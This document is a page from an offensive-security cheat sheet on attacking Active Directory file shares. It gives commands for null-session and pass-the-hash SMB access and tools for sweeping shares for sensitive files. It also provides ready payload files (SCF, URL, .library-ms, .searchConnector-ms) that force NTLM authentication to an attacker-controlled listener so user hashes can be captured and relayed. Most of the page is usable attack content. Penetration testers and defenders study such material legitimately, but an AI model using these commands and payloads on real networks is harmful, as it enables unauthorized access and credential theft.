InternalAllTheThings/docs/active-directory/internal-shares.md

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Internal - Shares

READ Permission

Some shares can be accessible without authentication, explore them to find some juicy files

  • ShawnDEvans/smbmap - a handy SMB enumeration tool

    smbmap -H 10.10.10.10                # null session
    smbmap -H 10.10.10.10 -r PATH        # recursive listing
    smbmap -H 10.10.10.10 -u invaliduser # guest smb session
    smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
    
  • byt3bl33d3r/pth-smbclient from path-toolkit

    pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
    pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
    ls  # list files
    cd  # move inside a folder
    get # download files
    put # replace a file
    
  • SecureAuthCorp/smbclient from Impacket

    smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
            Sharename       Type      Comment
            ---------       ----      -------
            ADMIN$          Disk      Remote Admin
            C$              Disk      Default share
            IPC$            IPC       Remote IPC
            NETLOGON        Disk      Logon server share
            Replication     Disk      
            SYSVOL          Disk      Logon server share
            Users           Disk
    use Sharename # select a Sharename
    cd Folder     # move inside a folder
    ls            # list files
    
  • smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers

    smbclient -U username //10.0.0.1/SYSVOL
    smbclient //10.0.0.1/Share
    
    # Download a folder recursively
    smb: \> mask ""
    smb: \> recurse ON
    smb: \> prompt OFF
    smb: \> lcd '/path/to/go/'
    smb: \> mget *
    
  • SnaffCon/Snaffler - a tool for pentesters to help find delicious candy

    snaffler.exe -s - snaffler.log
    
    # Snaffle all the computers in the domain
    ./Snaffler.exe -d domain.local -c <DC> -s
    
    # Snaffle specific computers
    ./Snaffler.exe -n computer1,computer2 -s
    
    # Snaffle a specific directory
    ./Snaffler.exe -i C:\ -s
    

WRITE Permission

Write SCF and URL files on a writeable share to farm for user's hashes and eventually replay them.

Theses attacks can be automated with Farmer.exe and Crop.exe

# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute

# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec

SCF Files

Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0

[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop

Using netexec:

netexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP

URL Files

This attack also works with .url files and responder -I eth0 -v.

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1

Windows Library Files

Windows Library Files (.library-ms)

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Windows Search Connectors Files

Windows Search Connectors (.searchConnector-ms)

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\folder.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\folder</url>
    </simpleLocation>
</searchConnectorDescription>

References